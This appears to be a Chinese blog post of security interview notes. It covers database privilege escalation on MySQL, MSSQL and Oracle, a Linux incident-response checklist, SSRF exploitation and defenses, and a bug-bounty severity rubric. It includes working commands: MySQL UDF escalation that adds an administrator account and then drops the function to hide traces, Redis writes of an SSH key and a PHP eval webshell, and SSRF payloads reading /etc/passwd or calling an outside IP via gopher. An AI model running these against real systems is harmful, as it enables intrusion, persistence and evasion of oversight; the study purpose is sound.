【工作】重要面经!

数据库提权写shell方式

https://developer.aliyun.com/article/1225524

MySQL 提权

  • CVE-2012-2122 漏洞利用

    • 确认目标 MySQL 版本在受影响范围内(MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23;MySQL versions from 5.1.63, 5.5.24, 5.6.6 之前)。
    • 使用 msf 模块 auxiliary/scanner/mysql/mysql_authbypass_hashdump 或 bash 循环不断尝试连接 MySQL 数据库,利用漏洞绕过密码验证获取 root 权限。
  • Webshell 权限提升

    • 确认满足写 shell 条件:知道网站物理路径、高权限数据库用户、load_file() 开启(secure_file_priv 无限制)、网站路径有写入权限。
    • 查看 secure_file_priv 是否有限制,若为 NULL 则需修改为 “” 并重启服务器。
    • 通过 phpmyadmin 或 sqlmap 执行 SQL 命令,将 shell 写入网站目录,再利用工具连接获取权限。
    1
    2
    3
    4
    select version();   # 获取数据库版本
    select user(); # 获取数据库用户
    select @@basedir; # 获取数据库安装目录
    show variables like%plugin%’; # 查看plugin路径。
  • 日志写 shell 提权

    • 确认 MySQL 版本 5.0 以上且 general_log 默认关闭。

      在sqlmap/data/udf/mysql目录下,在Windows目录中有32位和64位的dll文件(MySQL位数)。
      文件夹中的dll文件是通过异或编码的,可以使用sqlmap/extract/cloak.py进行解码
      python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
      将解码后的DLL文件(包含用户自定义函数的DLL文件)上传到可写目录,再导入到MySQL\lib\plugin\中
      select LOAD_FILE(‘C:/可写目录/lib_mysqludf_sys.dll’) into dumpfile ‘C:/phpStudy2016/MySQL/lib/plugin/> lib_mysqludf_sys.dll’;
      将DLL中的函数引入到MySQL数据库中
      创建自定义函数
      create function sys_eval returns string soname ‘lib_mysqludf_sys.dll’;
      创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll
      注意:需要创建.dll文件中存在的函数,可以使用十六进制编辑器打开.dll文件,查看可以被创建的函数。
      使用该函数去执行系统命令提权
      查看当前用户权限
      select sys_eval(“whoami”);
      创建账号并提升为管理员权限
      select sys_eval(“net user winhex passw@ord /add”);
      select sys_eval(“net localgroup administrators winhex /add”);
      将之前引入的函数删除掉
      防止被管理员发现,防止其他攻击者使用
      drop function sys_eval;
      delete from mysql.func where name=’sys_eval’;

    • 开启 general_log,修改 general_log_file 路径为网站目录下的文件名。
    • 写入 shell 内容,利用工具连接获取权限。

Linux UDF提权:https://www.freebuf.com/articles/web/264790.html

  • UDF 提权

    • 判断 MySQL 版本,选择对应的动态链接库位置。
    • 将 sqlmap 中的动态链接库解码后上传到 MySQL 特定目录(根据版本选择目录)。
    • 创建自定义函数,利用该函数执行命令实现提权,最后可删除自定义函数清理痕迹。
  • MOF 提权

    • 确认目标系统版本为 2003 或之前,利用 mof 文件每五秒执行且为系统权限的特点。
    • 将包含 vbs 脚本的 mof 文件通过 mysql 的 load_file 写入指定目录,等待执行创建用户实现提权,清理痕迹需停止服务、删除相关文件并重启服务。
  • 启动项提权

    • 确认系统启动项路径,根据系统版本选择对应路径。
    • 在 mysql 中创建表并插入创建用户和添加管理员权限的 vbs 脚本内容,将脚本写入启动项路径,重启后脚本执行实现提权。
  • CVE-2016-6663、CVE-2016-6664 组合提权

    • 对于 Mysql 小于特定版本的情况,先利用 CVE-2016-6663 将 www-data 权限提升为 mysql 权限,再利用 CVE-2016-6664 将 Mysql 权限提升为 root 权限。

MSSQL 提权

  • xp_cmdshell 提权

    • 开启 xp_cmdshell,利用其执行命令实现提权,如添加用户、替换粘贴键、传马等操作,完成后可关闭 xp_cmdshell 清理痕迹。
  • sp_OACreate 提权

    • 开启 Ole Automation Procedures,利用 sp_OACreate 执行命令实现提权,如直接加用户、粘贴键替换、直接传马、启动项写入加账户脚本等操作。
  • 沙盒提权

    • 开启默认关闭的 xp_regwrite 存储过程,利用 jet.oledb 执行系统命令添加系统账号实现提权。

Oracle 提权

  • 通过注入存储过程提权

    • 手工注入:用户登录后查看权限,创建提权函数并注入到存在 sql 注入的存储过程中,执行命令提升权限。
    • 利用 MSF 注入:加载攻击模块,配置参数后运行实现提权。
  • 通过 utl_http.request 存储过程提权

    • 创建 Java 包和存储过程 MYJAVACMD,执行该存储过程实现提权。

应急响应流程

  1. 查看用户信息
  • 查看用户信息文件:cat /etc/passwd
  • 查看影子文件:cat /etc/shadow
  • 查看特权账户(UID为0):awk -F: '$3==0{print $1}' /etc/passwdcat /etc/passwd | grep x:0
  • 查看当前登录用户及其登录IP:who
  • 查看当前登录用户及其正在执行的程序:w
  • 查看系统负载、登录用户数等信息:uptime
  • 查看密码文件最后修改时间:stat /etc/passwd
  • 查看除不可登录用户外的其他用户:cat /etc/passwd | grep -v nologin
  • 查看能用bash shell登录的用户:cat /etc/passwd | grep /bin/bash
  1. 历史命令
  • 查看历史命令:history
  • 保存历史命令到文件:cat .bash_history >> history.txt
  1. 端口
  • 查看端口开放和连接情况:netstat -pantu
  • 查看可疑进程文件路径(根据PID):ls -l /proc/<pid>/exe
  1. 进程
  • 查看所有进程:ps -aux
  • 查看指定进程:ps -aux | grep <pid>
  • 查看CPU占用率前十的进程:ps aux --sort=pcpu | head -10
  1. 自启项
  • 查看开机启动项:systemctl list-unit-files | grep enabled
  1. 定时任务
  • 查看当前用户定时任务:crontab -l
  • 查看指定用户定时任务(如root):crontab -u root -l
  1. 进程监控
  • 动态监控进程(按CPU占用排序):top
  • 按内存使用排序监控:top -b(在top界面按M键)
  • 监控指定进程:top -p <pid>
  • 静态监控进程:ps -ef
  1. Host文件
  • 查看Host文件是否被篡改:cat /etc/hosts
  1. 登录日志
  • 统计爆破root账号失败次数及IP:grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
  • 查看成功登录的日期、用户名、IP:grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
  1. 命令状态
  • 查看命令文件修改时间(防止被替换):stat /bin/netstat

SSRF 漏洞原理与应用

https://blog.csdn.net/qq_44159028/article/details/114626708
https://blog.csdn.net/qq_44159028/article/details/117034100
https://xz.aliyun.com/news/195

漏洞原理

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者通过构造恶意请求,使服务器端作为代理发起请求,从而访问外网无法直接访问的内部系统或服务。SSRF 漏洞的形成原因通常是服务端提供了从其他服务器获取数据的功能,且未对目标地址进行过滤与限制。

SSRF 漏洞中常用协议的功能和作用

1. file 协议

功能

  • 读取本地文件:在有回显的情况下,利用 file 协议可以读取服务器本地的任意文件内容。例如,读取 Linux 系统中的 /etc/passwd 文件或 Windows 系统中的 C:\Windows\System32\drivers\etc\hosts 文件。

作用

  • 信息泄露:攻击者可以通过读取敏感文件获取服务器的配置信息、用户账户信息等。
  • 进一步渗透:获取的文件内容可能包含其他敏感信息,如数据库连接字符串、密钥等,有助于进一步渗透目标系统。

示例

1
http://127.0.0.1/ssrf.php?url=file:///etc/passwd

2. dict 协议

功能

  • 泄露安装软件版本信息:通过 dict 协议可以获取目标服务器上安装的软件版本信息。
  • 查看端口:可以用于探测目标服务器上特定端口是否开放。
  • 操作内网 Redis 服务:可以利用 dict 协议与内网中的 Redis 服务进行交互,执行命令。

作用

  • 信息收集:获取目标服务器的软件版本和端口信息,有助于进一步攻击。
  • 内网渗透:通过与内网中的 Redis 服务交互,可以执行命令,进一步渗透内网。

示例

1
curl http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:6379/info

3. gopher 协议

功能

  • 支持发出 GET、POST 请求:gopher 协议支持发送 GET 和 POST 请求,可以先截获这些请求包,再构造成符合 gopher 协议的请求。
  • 万能协议:gopher 协议是 SSRF 利用中最强大的协议之一,可以用于反弹 Shell、攻击内网的 Redis、FTP 等服务。

作用

  • 灵活攻击:可以构造复杂的请求,实现对目标服务器的多种攻击。
  • 内网渗透:利用 gopher 协议可以攻击内网中的各种服务,如 Redis、MySQL 等。

示例

1
http://127.0.0.1/ssrf.php?url=gopher://66.112.213.76:2333/_hello

漏洞发现

  1. 检查服务端功能:查看服务端是否存在从其他服务器获取数据的功能,如加载图片、下载文件、读取文件内容等。
  2. 检测常用函数使用:检查代码中是否使用了 curl_exec()file_get_contents()fsockopen() 等函数,且未对输入进行严格过滤。
  3. 测试 URL 参数:通过修改 URL 参数,尝试访问本地文件(如 file:///etc/passwd)或内网地址,观察服务器响应。

漏洞利用

  1. 读取本地文件
    • Windows:使用 file://C:\Windows\System32\drivers\etc\hosts 等路径读取系统文件。
    • Linux:使用 file:///etc/passwd 等路径读取系统文件。
  2. 端口扫描
    • 使用 dict://IP地址:端口http://IP地址:端口 探测内网端口开放情况,根据页面响应时间判断端口是否开放。
  3. 内网主机探测
    • 通过读取 /etc/hosts/proc/net/arp 等文件获取内网网段,使用脚本对内网 IP 进行爆破,探测存活主机。
  4. 攻击内网服务
    • 利用 SSRF 漏洞访问内网的 Redis、MySQL 等服务,进一步渗透内网资产。

与 Redis 的结合利用

  1. 探测 Redis 服务
    • 使用 SSRF 漏洞向 Redis 默认端口 6379 发起请求,如 dict://127.0.0.1:6379,判断 Redis 服务是否开放。
  2. 写入 SSH 公钥
    • 在攻击机生成 SSH 密钥对,将公钥内容通过 Redis 写入目标服务器的 ~/.ssh/authorized_keys,实现无密码登录。
    • Redis 命令示例:
      1
      2
      3
      4
      5
      flushall
      set 1 '公钥内容'
      config set dir /root/.ssh
      config set dbfilename authorized_keys
      save
  3. 写入 Webshell
    • 构造 Redis 命令,设置 Webshell 内容并将其写入目标服务器的网站根目录,如 /var/www/html
    • Redis 命令示例:
      1
      2
      3
      4
      5
      flushall
      set 1 '<?php eval($_GET["cmd"]);?>'
      config set dir /var/www/html
      config set dbfilename shell.php
      save
  4. 反弹 Shell
    • 通过写入计划任务或利用 Redis 的数据备份功能写入 Webshell,实现反弹 Shell。

漏洞防御

  1. 限制协议:仅允许 HTTP 和 HTTPS 请求。
  2. 限制 IP:避免应用被用来获取内网数据,攻击内网。
  3. 限制端口:限制请求的端口为常用的 HTTP 端口,如 80、443、8080 等。
  4. 过滤返回信息:验证远程服务器对请求的响应,避免泄露敏感信息。
  5. 统一错误信息:避免用户根据错误信息判断远端服务器的端口状态。

作为众测运营人员的问题

漏洞等级评判标准

  1. 严重漏洞

    • 发生在核心系统业务系统,可造成大面积影响,获取大量业务系统控制权限,获取核心系统管理人员权限并且可控制核心系统。
    • 包括但不限于控制内网多台机器、核心后台超级管理员权限获取且造成大范围企业核心数据泄露等。
  2. 高危漏洞

    • 获得系统的权限(如getshell、命令执行等)。
    • 系统的SQL注入(后台漏洞降级,打包提交酌情提升)。
    • 敏感信息越权访问(如绕过认证直接访问管理后台进行敏感操作、重要后台弱密码、获取大量内网敏感信息的SSRF等)。
    • 读取任意文件。
    • 涉及金钱的交易、绕过支付逻辑(需最终利用成功,优惠券相关问题除外)。
    • 严重的逻辑设计缺陷和流程缺陷(如任意用户登录漏洞、批量修改任意账号密码漏洞、涉及企业核心业务的逻辑漏洞等)。
    • 大范围影响用户的其他漏洞(如重要页面可自动传播的存储型XSS、可获取管理员认证信息且成功利用的存储型XSS等)。
    • 大量源代码泄露。
  3. 中危漏洞

    • 需交互方可影响用户的漏洞(如存储型XSS、涉及核心业务的CSRF等)。
    • 平行越权操作(如绕过限制修改用户资料、执行用户操作等)。
    • 由验证码逻辑导致任意账户登录、任意密码找回等系统敏感操作可被爆破成功造成的漏洞。
    • 本地保存的敏感认证密钥信息泄露,需能做出有效利用。
    • 四位验证码爆破重置密码或者登录账号。
    • 心脏滴血漏洞。
    • XML注入。
    • 普通的后台或者边缘系统的后台。
    • 任意文件上传(如上传html导致存储XSS,其他情况除外)。
  4. 低危漏洞

    • 对系统的功能或性能影响较小。
    • 攻击者只能获得非敏感信息或执行有限的操作。
    • 存在已知的解决方案或临时修复措施。

漏洞验证的逻辑和流程

  1. 环境准备

    • 确保测试环境与生产环境一致,避免因环境差异导致的误判。
    • 准备必要的测试工具和数据。
  2. 漏洞复现

    • 根据提交的漏洞报告,尝试复现漏洞。
    • 记录复现步骤和结果,确保漏洞的真实性和可重复性。
  3. 影响评估

    • 评估漏洞对系统功能、性能、安全性的潜在影响。
    • 确定漏洞可能影响的用户范围和业务范围。
  4. 利用难度评估

    • 评估漏洞的利用难度,包括是否需要特定条件、是否需要高级技能等。
  5. 可发现性评估

    • 评估漏洞的可发现性,即攻击者发现该漏洞的难易程度。
  6. 综合评分

    • 结合上述评估结果,根据360SRC的评分标准,对漏洞进行综合评分,确定漏洞等级。
  7. 报告生成

    • 生成详细的漏洞报告,包括漏洞描述、复现步骤、影响评估、利用难度、可发现性等信息。
    • 提交报告给相关团队进行修复和处理。